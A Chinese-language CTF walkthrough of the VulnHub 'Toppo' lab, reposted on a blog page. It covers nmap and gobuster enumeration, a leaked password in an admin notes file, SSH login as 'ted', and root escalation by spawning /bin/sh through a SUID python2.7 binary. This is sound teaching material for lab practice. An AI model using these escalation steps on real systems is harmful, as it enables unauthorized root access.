当前位置: 首页 > article >正文

vulnhub(7):Toppo(经典的suid滥用提权)

端口

nmap主机发现
nmap -sn 192.168.6.0/24
​
Nmap scan report for 192.168.6.34
Host is up (0.00020s latency).
​
34是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.6.34 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
48230/tcp open  unknown
 
​
​
发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.6.34详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT      STATE SERVICE VERSION                                                                      │
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)                                 │
| ssh-hostkey:                                                                                       │
|   1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA)                                                      │
|   2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA)                                                      │
|   256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA)                                                     │
|_  256 39d97926603d6ca21e8b1971c0e25e5f (ED25519)                                                   │
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))                                               │
|_http-server-header: Apache/2.4.10 (Debian)                                                         │
|_http-title: Clean Blog - Start Bootstrap Theme                                                     │
111/tcp   open  rpcbind 2-4 (RPC #100000)                                                            │
| rpcinfo:                                                                                           │
|   program version    port/proto  service                                                           │
|   100000  2,3,4        111/tcp   rpcbind                                                           │
|   100000  2,3,4        111/udp   rpcbind                                                           │
|   100000  3,4          111/tcp6  rpcbind                                                           │
|   100000  3,4          111/udp6  rpcbind                                                           │
|   100024  1          48230/tcp   status                                                            │
|   100024  1          49352/udp   status                                                            │
|   100024  1          52407/udp6  status                                                            │
|_  100024  1          56532/tcp6  status 
​
分析:
22端口开放
80端口http服务
111 rpcbind

立足

80端口
一个博客网站,整个网站除了contact 界面,没有任何交互的地方,因此没有任何漏洞
​
尝试敏感信息收集
gobuster dir -u http://192.168.100.34/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/img/                 (Status: 200) [Size: 1775]                                                     
/icons/               (Status: 403) [Size: 295]                                                      
/mail/                (Status: 200) [Size: 948]                                                      
/admin/               (Status: 200) [Size: 937]                                                      
/css/                 (Status: 200) [Size: 1157]                                                     
/manual/              (Status: 200) [Size: 626]                                                      
/js/                  (Status: 200) [Size: 2045]                                                     
/vendor/              (Status: 200) [Size: 1343]
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/server-status/       (Status: 403) [Size: 303]
​
分析:
mail和admin页面最有可能出现敏感信息,先看最敏感的

mail页面

mail页面是个文件目录,下面只有一个php文件:
contact_me.php
​
wget http://192.168.100.34/mail/contact_me.php
发现contact_me.php文件没有php代码,只有一行字符串:No arguments Provided!

admin页面

admin页面是个文件目录,下面只有一个txt页面:
notes.txt
​
打开发现这样信息:
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
​
从中我们获取密码12345ted123
获取密码后的思路
获取密码后,首先要想到获取用户名
获取用户名之后要想到要与服务器有交互,但是我们之前说过整个80端口除了contact 界面就没有任何交互,contact是发送邮箱的界面,尝试扫描不存在漏洞,也没有密码的交互,只能排除
​
所以如果获取到用户名列表和密码列表,唯一的操作只能是ssh爆破,我们现在唯一的问题就是获取一个用户名列表,并与我们收集到的密码匹配
收集用户名
靶机名称:Toppo
常用用户名:admin、root
从密码(12345ted123)中收集到的可能是用户的字符串:ted
尝试登陆ssh
用户名不多,手动尝试即可,发现
用户:ted
密码:12345ted123
可以登录ssh

提权

信息枚举
sudo -l:无此命令
cat /etc/passwd:没有新的信息
cat /etc/crontab:没有计划任务脚本
find / -type f -perm -u=s 2>/dev/null:
​
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
​
*有一个可能是管理员设置的/usr/bin/procmail,还有一个非常敏感的/usr/bin/python2.7
​
/usr/bin/procmail 运行没有回显,不管他
/usr/bin/python2.7 是最有可能提权的,基本上板上钉钉了
suid滥用提权
运行suid的程序时,这个程序的进程euid是创建者的用户id,且按照euid的权限执行进程代码,这意味着我们如果这个程序能调用/bin/sh,他的权限将会按照euid的身份新起一个拥有euid权限的会话shell
​
注:但是调用/bin/bash将不会提权,因为/bin/bash在启动后,首先判断euid和ruid是否相同,如果不相同,他会利用权限更低的ruid(如果ruid的权限比euid低),自动进行降权处理
​
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
使用bash,会被自动降权处理
python -c 'import os;os.system("/bin/bash")'
bash-4.3$ cd /root
/root: Permission denied
​
使用sh,按照euid进行
python -c 'import os;os.system("/bin/sh")'
直接拿到root的flag: 0wnedlab{p4ssi0n_c0me_with_pract1ce}

http://www.kler.cn/news/308654.html

相关文章:

  • ArcGIS Pro SDK (十四)地图探索 1 地图视图
  • 探索 InternLM 模型能力边界
  • 什么是外贸专用路由器?
  • 后端开发 每天六道面试题之打卡第一天
  • python中的各类比较与计算
  • Android14 蓝牙 BluetoothService 启动和相关代码介绍
  • 【Vue】- 生命周期和数据请求案例分析
  • phpstudy 建站使用 php8版本打开 phpMyAdmin后台出现网页提示致命错误:(phpMyAdmin这是版本问题导致的)
  • k8s中的存储
  • 【设计模式-外观】
  • 【计算机网络 - 基础问题】每日 3 题(七)
  • 【编译原理】看书笔记
  • keep-alive缓存不了iframe
  • 快速开发与维护:探索 AndroidAnnotations
  • Edegex Foundry docker和源码安装
  • uniapp与webview进行数据通信
  • 每个电脑都有ip地址吗?不同电脑ip地址一样吗
  • 爬虫代理失效怎么处理?全面解决方案
  • 【智路】智路OS 设备接入开发
  • 力扣122.-买卖股票的最佳时机 II(Java详细题解)
  • Python数据分析 Pandas基本操作
  • .NET 6.0 + WPF 使用 Prism 框架实现导航
  • Linux下编译Kratos
  • 如何动态获取路由上的参数
  • 最短路径算法
  • 详解QT元对象系统用法
  • webpack原理简述
  • java实现真值表代码(不完善)恳求大佬指导
  • 利用AI驱动智能BI数据可视化-深度评测Amazon Quicksight(三)
  • 使用 Visual Studio Code 配置 C++ 开发环境的详细指南